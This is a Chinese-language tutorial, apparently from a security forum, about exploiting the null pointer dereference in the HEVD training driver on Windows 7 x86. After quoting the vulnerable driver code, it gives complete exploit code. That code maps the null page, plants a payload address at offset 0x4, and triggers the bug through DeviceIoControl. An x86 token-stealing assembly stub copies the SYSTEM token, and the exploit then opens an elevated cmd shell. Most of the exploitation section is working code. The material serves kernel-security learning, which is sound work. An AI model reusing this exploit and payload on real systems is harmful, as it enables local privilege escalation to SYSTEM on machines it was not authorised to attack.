-
-
[原创]内核漏洞学习[5]-HEVD-NullPointerDereference
-
2021-11-13 16:26 16421
-
# HEVD-NullPointerDereference
一: 概述
HEVD:漏洞靶场,包含各种Windows内核漏洞的驱动程序项目,在Github上就可以找到该项目,进行相关的学习
Releases · hacksysteam/HackSysExtremeVulnerableDriver · GitHub
环境准备:
Windows 7 X86 sp1 虚拟机
使用VirtualKD和windbg双机调试
HEVD 3.0+KmdManager+DubugView
二:前置知识
指针的三种错误使用:
- 由指针指向的一块动态内存,在利用完后,没有释放内存,导致内存泄露
- 野指针(悬浮指针)的使用,在指针指向的内存空间使用完释放后,指针指向的内存空间已经归还给了操作系统,此时的指针成为野指针,在没有对野指针做处理的情况下,有可能对该指针再次利用导致指针引用错误而程序崩溃。
- Null Pointer空指针的引用,对于空指针的错误引用往往是由于在引用之前没有对空指针做判断,就直接使用空指针,还有可能把空指针作为一个对象来使用,间接使用对象中的属性或是方法,而引起程序崩溃,空指针的错误使用常见于系统、服务、软件漏洞方面。
总结:
free(p)后:
p仍然指向那块地址,但是地址被释放,回归给系统,指针仍然可以使用,可以利用池喷射,去多次申请内昆空间,撞这个指针p指向的地址,改写这个地址内容,在调用p,执行自己写入的代码
p=NULL 后:
p 不指向任何内存地址,通常指向000 0页地址,通过ntallocvirtualmemory 申请0页地址空间。在0页地址写代码。 调用null指针,执行shellcode
使用ntallocvirtualmemory 函数申请内存:
NtAllocateVirtualMemory function (ntifs.h) - Windows drivers | Microsoft Docs
三:漏洞点分析
空指针漏洞
此类漏洞利用主要集中在两种方式上:
- 利用NULL指针。
- 利用零页内存分配可用内存空间
(1)分析漏洞点
UserValue = *(PULONG)UserBuffer;从用户模式获取value的值,如果uservalue=magicvalue的值,向缓冲区赋值,并打印信息,反之则释放缓冲区,清空指针( NullPointerDereference = NULL;),之后,对于安全版本,对NullPointerDereference进行检查判断其是否被置空,非安全版本,未对NullPointerDereference进行检查判断,直接调用callback,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 | NTSTATUS TriggerNullPointerDereference( _In_ PVOID UserBuffer ) { ULONG UserValue = 0 ; ULONG MagicValue = 0xBAD0B0B0 ; NTSTATUS Status = STATUS_SUCCESS; PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL; PAGED_CODE(); __try { / / / / Verify if the buffer resides in user mode / / ProbeForRead(UserBuffer, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)__alignof(UCHAR)); / / / / Allocate Pool chunk / / NullPointerDereference = (PNULL_POINTER_DEREFERENCE)ExAllocatePoolWithTag( NonPagedPool, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)POOL_TAG ); if (!NullPointerDereference) { / / / / Unable to allocate Pool chunk / / DbgPrint( "[-] Unable to allocate Pool chunk\n" ); Status = STATUS_NO_MEMORY; return Status; } else { DbgPrint( "[+] Pool Tag: %s\n" , STRINGIFY(POOL_TAG)); DbgPrint( "[+] Pool Type: %s\n" , STRINGIFY(NonPagedPool)); DbgPrint( "[+] Pool Size: 0x%X\n" , sizeof(NULL_POINTER_DEREFERENCE)); DbgPrint( "[+] Pool Chunk: 0x%p\n" , NullPointerDereference); } / / / / Get the value from user mode / / UserValue = * (PULONG)UserBuffer; DbgPrint( "[+] UserValue: 0x%p\n" , UserValue); DbgPrint( "[+] NullPointerDereference: 0x%p\n" , NullPointerDereference); / / / / Validate the magic value / / if (UserValue = = MagicValue) { NullPointerDereference - >Value = UserValue; NullPointerDereference - >Callback = &NullPointerDereferenceObjectCallback; DbgPrint( "[+] NullPointerDereference->Value: 0x%p\n" , NullPointerDereference - >Value); DbgPrint( "[+] NullPointerDereference->Callback: 0x%p\n" , NullPointerDereference - >Callback); } else { DbgPrint( "[+] Freeing NullPointerDereference Object\n" ); DbgPrint( "[+] Pool Tag: %s\n" , STRINGIFY(POOL_TAG)); DbgPrint( "[+] Pool Chunk: 0x%p\n" , NullPointerDereference); / / / / Free the allocated Pool chunk / / ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG); / / / / Set to NULL to avoid dangling pointer / / NullPointerDereference = NULL; } #ifdef SECURE / / / / Secure Note: This is secure because the developer is checking if / / 'NullPointerDereference' is not NULL before calling the callback function / / if (NullPointerDereference) { NullPointerDereference - >Callback(); } #else DbgPrint( "[+] Triggering Null Pointer Dereference\n" ); / / / / Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability / / because the developer is not validating if 'NullPointerDereference' is NULL / / before calling the callback function / / NullPointerDereference - >Callback(); #endif } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint( "[-] Exception Code: 0x%X\n" , Status); } return Status; } |
四:漏洞利用
HEVD_IOCTL_NULL_POINTER_DEREFERENCE控制码对应的派遣函数NullPointerDereferenceIoctlHandler case
1 2 3 4 5 | HEVD_IOCTL_NULL_POINTER_DEREFERENCE: DbgPrint( "****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******\n" ); Status = NullPointerDereferenceIoctlHandler(Irp, IrpSp); DbgPrint( "****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******\n" ); break ; |
NullPointerDereferenceIoctlHandler函数调用TriggerNullPointerDereference触发漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | NTSTATUS NullPointerDereferenceIoctlHandler( _In_ PIRP Irp, _In_ PIO_STACK_LOCATION IrpSp ) { PVOID UserBuffer = NULL; NTSTATUS Status = STATUS_UNSUCCESSFUL; UNREFERENCED_PARAMETER(Irp); PAGED_CODE(); UserBuffer = IrpSp - >Parameters.DeviceIoControl.Type3InputBuffer; if (UserBuffer) { Status = TriggerNullPointerDereference(UserBuffer); } return Status; } |
(1)测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | #include<stdio.h> #include<Windows.h> HANDLE hDevice = NULL; #define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS) int main() { hDevice = CreateFileA( "\\\\.\\HackSysExtremeVulnerableDriver" , GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL ); if (hDevice = = INVALID_HANDLE_VALUE || hDevice = = NULL) { printf( "[-]failed to get device handle !" ); return FALSE; } printf( "[+]success to get device handle" ); if (hDevice) { DWORD bReturn = 0 ; char buf[ 4 ] = { 0 }; * (PDWORD32)(buf) = 0x12345678 ; DeviceIoControl(hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, buf, 4 , NULL, 0 , &bReturn, NULL); } } |
当我们传入值与MagicValue值不匹配时,则会触发漏洞
因为uservalue=0xBAD0B0B0,所以打印出信息,
(2)漏洞利用
官方给出的方法也是利用NtAllocateVirtualMemory函数,在0页申请内存,
该函数在指定进程的虚拟空间中申请一块内存,该块内存默认将以64kb大小对齐,所以SIZE_T RegionSize = 0x1000;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | BOOL MapNullPage() { HMODULE hNtdll; SIZE_T RegionSize = 0x1000 ; / / will be rounded up to the next host / / page size address boundary - > 0x2000 PVOID BaseAddress = (PVOID) 0x00000001 ; / / will be rounded down to the next host / / page size address boundary - > 0x00000000 NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; hNtdll = GetModuleHandle( "ntdll.dll" ); / / Grab the address of NtAllocateVirtualMemory NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory" ); if (!NtAllocateVirtualMemory) { DEBUG_ERROR( "\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X\n" , GetLastError()); exit(EXIT_FAILURE); } / / Allocate the Virtual memory NtStatus = NtAllocateVirtualMemory((HANDLE) 0xFFFFFFFF , &BaseAddress, 0 , &RegionSize, MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); if (NtStatus ! = STATUS_SUCCESS) { DEBUG_ERROR( "\t\t\t\t[-] Virtual Memory Allocation Failed: 0x%x\n" , NtStatus); exit(EXIT_FAILURE); } else { DEBUG_INFO( "\t\t\t[+] Memory Allocated: 0x%p\n" , BaseAddress); DEBUG_INFO( "\t\t\t[+] Allocation Size: 0x%X\n" , RegionSize); } FreeLibrary(hNtdll); return TRUE; |
申请成功后,将shellcode地址放入偏移四字节处,因为CallBack成员在结构体的0x4字节处,使传入值与MagicValue值不匹配,触发漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 | ULONG MagicValue = 0xBAADF00D ; PVOID EopPayload = &TokenStealingPayloadWin7Generic; __try { / / Get the device handle DEBUG_MESSAGE( "\t[+] Getting Device Driver Handle\n" ); DEBUG_INFO( "\t\t[+] Device Name: %s\n" , FileName); hFile = GetDeviceHandle(FileName); if (hFile = = INVALID_HANDLE_VALUE) { DEBUG_ERROR( "\t\t[-] Failed Getting Device Handle: 0x%X\n" , GetLastError()); exit(EXIT_FAILURE); } else { DEBUG_INFO( "\t\t[+] Device Handle: 0x%X\n" , hFile); } DEBUG_MESSAGE( "\t[+] Setting Up Vulnerability Stage\n" ); DEBUG_INFO( "\t\t[+] Mapping Null Page\n" ); if (!MapNullPage()) { DEBUG_ERROR( "\t\t[-] Failed Mapping Null Page: 0x%X\n" , GetLastError()); exit(EXIT_FAILURE); } DEBUG_INFO( "\t\t[+] Preparing Null Page Memory Layout\n" ); NullPointerPlus4 = (PVOID)((ULONG)NullPageBaseAddress + 0x4 ); / / Now set the function pointer * (PULONG)NullPointerPlus4 = (ULONG)EopPayload; DEBUG_INFO( "\t\t\t[+] NullPage+0x4 Value: 0x%p\n" , * (PULONG)NullPointerPlus4); DEBUG_INFO( "\t\t\t[+] NullPage+0x4 Address: 0x%p\n" , NullPointerPlus4); DEBUG_INFO( "\t\t[+] EoP Payload: 0x%p\n" , EopPayload); DEBUG_MESSAGE( "\t[+] Triggering Null Pointer Dereference\n" ); OutputDebugString( "****************Kernel Mode****************\n" ); DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, (LPVOID)&MagicValue, 0 , NULL, 0 , &BytesReturned, NULL); OutputDebugString( "****************Kernel Mode****************\n" ); } __except (EXCEPTION_EXECUTE_HANDLER) { DEBUG_ERROR( "\t\t[-] Exception: 0x%X\n" , GetLastError()); exit(EXIT_FAILURE); } return EXIT_SUCCESS; } |
exp,可供参考
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 | #include<stdio.h> #include<Windows.h> #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) #define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS) typedef NTSTATUS (WINAPI * NtAllocateVirtualMemory1)( IN HANDLE ProcessHandle, IN OUT PVOID * BaseAddress, IN ULONG ZeroBits, IN OUT PULONG RegionSize, IN ULONG AllocationType, IN ULONG Protect ); NtAllocateVirtualMemory1 NtAllocateVirtualMemory = NULL; HANDLE hDevice = NULL; static VOID payload() { _asm { / / ..... } } int main() { / / 获得device handle hDevice = CreateFileA( "\\\\.\\HackSysExtremeVulnerableDriver" , GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL); printf( "[+]Start to get handle \n" ); if (hDevice = = INVALID_HANDLE_VALUE || hDevice = = NULL) { printf( "[+]Failed to get HANDLE!!!\n" ); system( "pause" ); return 0 ; } printf( "[+]Success to get handle\n" ); DWORD aReturn = 0 ; char buf[ 4 ] = { 0 }; * (PDWORD32)(buf) = 0x123456789 ; / / 触发漏洞 / / 申请 0 页内存 (FARPROC * )NtAllocateVirtualMemory = GetProcAddress( GetModuleHandleW(L "ntdll" ), "NtAllocateVirtualMemory" ); if (NtAllocateVirtualMemory = = NULL) { printf( "[-]Failed to get NtAllocateVirtualMemory address \n" ); system( "pause" ); return 0 ; } else printf( "[+]success to get NtAllocateVirtualMemory address \n" ); PVOID basedaress = (PVOID) 1 ; SIZE_T allockSize = 0x1000 ; NTSTATUS status = NtAllocateVirtualMemory( INVALID_HANDLE_VALUE, &basedaress, 0 , &allockSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (status< 0 ) { printf( "[-]NtAllocateVirtualMemory write failed\n" ); system( "pause" ); return 0 ; } printf( "[+]NtAllocateVirtualMemory write success \n" ); * (DWORD * )( 0x4 ) = (DWORD)&payload; / / 调用TriggerNullPointerDereference函数 DeviceIoControl(hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, buf, 4 , NULL, 0 , &aReturn, NULL); / / 提权启动cmd printf( "[+]Start to Create cmd...\n" ); STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; WCHAR wzFilePath[MAX_PATH] = { L "cmd.exe" }; BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi); if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess); system( "pause" ); return 0 ; } |
payload功能:遍历进程,得到系统进程的token,把当前进程的token替换,达到提权目的。
相关内核结构体:
在内核模式下,fs:[0]指向KPCR结构体
1 2 3 4 5 6 7 8 9 10 11 12 | _KPCR + 0x120 PrcbData : _KPRCB _KPRCB + 0x004 CurrentThread : Ptr32 _KTHREAD,_KTHREAD指针,这个指针指向_KTHREAD结构体 _KTHREAD + 0x040 ApcState : _KAPC_STATE _KAPC_STATE + 0x010 Process : Ptr32 _KPROCESS,_KPROCESS指针,这个指针指向EPROCESS结构体 _EPROCESS + 0x0b4 UniqueProcessId : Ptr32 Void,当前进程 ID ,系统进程 ID = 0x04 + 0x0b8 ActiveProcessLinks : _LIST_ENTRY,双向链表,指向下一个进程的ActiveProcessLinks结构体处,通过这个链表我们可以遍历所有进程,以寻找我们需要的进程 + 0x0f8 Token : _EX_FAST_REF,描述了该进程的安全上下文,同时包含了进程账户相关的身份以及权限 |
payload:注意堆栈平衡问题。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | __asm { pushad ; Save registers state ; Start of Token Stealing Stub xor eax, eax ; Set ZERO mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread ; _KTHREAD is located at FS:[ 0x124 ] mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process mov ecx, eax ; Copy current process _EPROCESS structure mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4 SearchSystemPID: mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink sub eax, FLINK_OFFSET cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId jne SearchSystemPID mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token ; with SYSTEM process nt!_EPROCESS.Token ; End of Token Stealing Stub popad ; Restore registers state } } |
运行exp提权成功:
流程总结:
申请0页内存
将payload放入内存任意位置
并在0x4地址放入payload地址
调用TriggerNullPointerDereference函数
提权启动cmd